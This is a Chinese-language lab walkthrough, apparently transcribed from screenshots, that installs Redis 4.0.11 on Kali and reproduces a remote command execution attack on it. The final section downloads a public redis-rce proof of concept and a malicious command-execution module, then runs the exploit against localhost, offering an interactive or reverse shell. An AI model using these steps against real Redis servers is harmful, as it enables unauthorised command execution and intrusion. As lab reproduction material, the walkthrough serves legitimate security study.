## Redis 漏洞手动复现

#### 实验环境

服务器: kali\_x64\_2018.4

IP: 192.168.15.5

连接工具: xshell5

### 环境搭建

```
redis-4.0.11
```

下载地址:download.redis.io/releases/redis-4.0.11.tar.gz

#### 环境搭建命令

```
root@kali:~# wget download.redis.io/releases/redis-4.0.11.tar.gz
root@kali:~# tar zxf redis-4.0.11.tar.gz
root@kali:~# cd redis-4.0.11
root@kali:~/redis-4.0.11# make PREFIX=/usr/local/redis install
```

```
download.redis.io/releases/redis-4.0.11.tar.gz
rootkal1:-# wget download.redis.10/releases/redis-4.0.11.tar.gz
--2019-07-11 12:14:45-- http://download.redis.io/releaseds-4.0.11.tar.gz
Resolving download.redis.io (download.redis.io)... 109.74.203.151
Connecting to download.redis.io (download.redis.io)|109.74.203.151|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1739656 (1.7M) [application/x-gzip]
Saving to: 'redis-4.0.11.tar.gz'
                                                           100%[=======
                                                                                                                                                                                               167KB/s
                                                                                                                                                                                                                    in 9.4s
 redis-4.0.11.tar.gz
                                                                                                                                                                                  1.66M
2019-07-11 12:14:55 (181 KB/s) - 'redis-4.0.11.tar.gz' saved [1739656/1739656]
  oot@kali: #
 siphash.c:209:15: warming: this statement may fall through [-Wimplicit-fallthrough=]
    case 3: b |= ((uint64_t)siptlw(in[2])) << 16;</pre>
 siphash.c:210:5: note: here
    case 2: b |= ((uint64_t)siptlw(in[1])) << 8;</pre>
 siphash.c:210:15: warning: this statement may fall through [-Wimplicit-fallthrough=]
    case 2: b |= ((uint64_t)siptlw(in[1])) << 8;</pre>
 siphash.c:211:5: note: here
    case 1: b |= ((uint64_t)siptlw(in[0])); break;
       LINK redis-server
       INSTALL redis-sentinel
       LINK redis-cli
       LINK redis-benchmark
       INSTALL redis-check-rdb
       INSTALL redis-check-aof
 Hint: It's a good idea to run 'make test' ;)
       INSTALL install
       INSTALL install
INSTALL install
INSTALL install
INSTALL install
 make[l]: Leaving directory '/root/redis-4.0.11/src'
root@kali:~/redis-4.0.11# []
```

#### 测试环境

root@kali:~/redis-4.0.11# make test

```
26 seconds - unit/sort
1 seconds - unit/limits
   28 seconds - unit/type/zset
6 seconds - unit/introspection-2
   11 seconds - unit/scripting
   4 seconds - unit/bitfield
  11 seconds - unit/bitops
22 seconds - integration/psync2-reg
3 seconds - unit/lazyfree
   24 seconds - unit/maxmemory
   12 seconds - unit/memefficiency
29 seconds - integration/psync2
   49 seconds - unit/dump
   7 seconds - unit/wait
   49 seconds - integration/replication-2
59 seconds - unit/type/list-2
64 seconds - integration/replication-4
  33 seconds - unit/hyperloglog
45 seconds - unit/geo
75 seconds - unit/aofrw
84 seconds - integration/replication-3
   111 seconds - integration/replication
   100 seconds - integration/replication-psync
126 seconds - unit/type/list-3
320 seconds - unit/obuf-limits
 o/ All tests passed without errors!
Cleanup: may take some time... OK
make[1]: Leaving directory '/root/redis-4.0.11/src'
root@kali:~/redis-4.0.11# []
```

```
root@kali:~/redis-4.0.11# cp redis.conf /usr/local/redis/
root@kali:~/redis-4.0.11# ls
00-RELEASENOTES CONTRIBUTING deps Makefile README.md runtest runtest-sentinel src utils
BUGS COPYING INSTALL MANIFESTO redis.conf runtest-cluster sentinel.conf tests
root@kali:~/redis-4.0.11# vim /usr/local/redis/redis.conf []
```

修改redis.conf中 "daemonize no" 为 "daemonize yes" , 表示redis以后台的方式启动root@kali:~/redis-4.0.11# vim /usr/local/redis/redis.conf

#### 服务器启动

root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

```
root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
9522:C 11 Jul 12:27:58.758 # 000000000000 Redis is starting 000000000000
9522:C 11 Jul 12:27:58.758 # Redis version=4.0.11, bits=64, commit=00000000, modified=0, pid=9522, just started
9522:C 11 Jul 12:27:58.758 # Configuration loaded
root@kali:~/redis-4.0.11# []
```

#### 杳看讲程

root@kali:~/redis-4.0.11# ps -ef | grep redis

```
root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-cli
127.0.0.1:6379> set name xiaowei
OK
127.0.0.1:6379> get name
"xiaowei"
127.0.0.1:6379> [
```

服务停止

root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-cli shutdown

```
root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-cli shutdown
root@kali:~/redis-4.0.11# |
```

#### 分析案例

分析案例

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

#### 演讲视频

演讲视频

https://www.youtube.com/watch?v=Jmv-0PnoJ6c

#### **Redis Rec**

poc下载

https://github.com/Ridter/redis-rce

#### 编译so地址

编译so地址

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

#### 漏洞复现

后台启动

root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

```
root@kali:~/redis-4.0.11# /usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
9554:C 11 Jul 12:34:22.013 # 0000000000000 Redis is starting 000000000000
9554:C 11 Jul 12:34:22.014 # Redis version=4.0.11, bits=64, commit=000000000, modified=0, pid=9554, just started
9554:C 11 Jul 12:34:22.014 # Configuration loaded
root@kali:~/redis-4.0.11# []
```

```
root@kali:~/redis-4.0.11# cd /usr/local/redis/
  root@kali:/usr/local/redis# git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
  root@kali:/usr/local/redis# cd RedisModules-ExecuteCommand/
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand# make
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand# cd src/
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# Ls
     ali:/usr/local/redis/RedisModules-ExecuteCommand# cd src/
      ali:/usr/local/redis/RedisModules-ExecuteCommand/src# ls
Makefile module.c module.o module.so
 oot@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# [
  下载poc:
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# git clone
  https://github.com/Ridter/redis-rce
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# cd redis-rce/
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src/redis-rce# mv redis-rce.py ../redis-
  rce.py
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src/redis-rce# cd ../
  root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# Ls
     ali:/usr/local/redis/RedisModules-ExecuteCommand/src# git clone https://github.com/Ridter/redis-rce:
 Cloning into 'redis-rce'...
remote: Enumerating objects: 11, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 11 (delta 2), reused 11 (delta 2), pack-reused 0
Unpacking objects: 100% (11/11), done.
 oot@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# ls
 Makefile module.c module.o module.so redis-rce redis-rce.py
```

#### 运行脚本

root@kali:/usr/local/redis/RedisModules-ExecuteCommand/src# python redis-rce.py -r 127.0.0.1 -L
127.0.0.1 -f module.so
[+] What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: i

# redis roe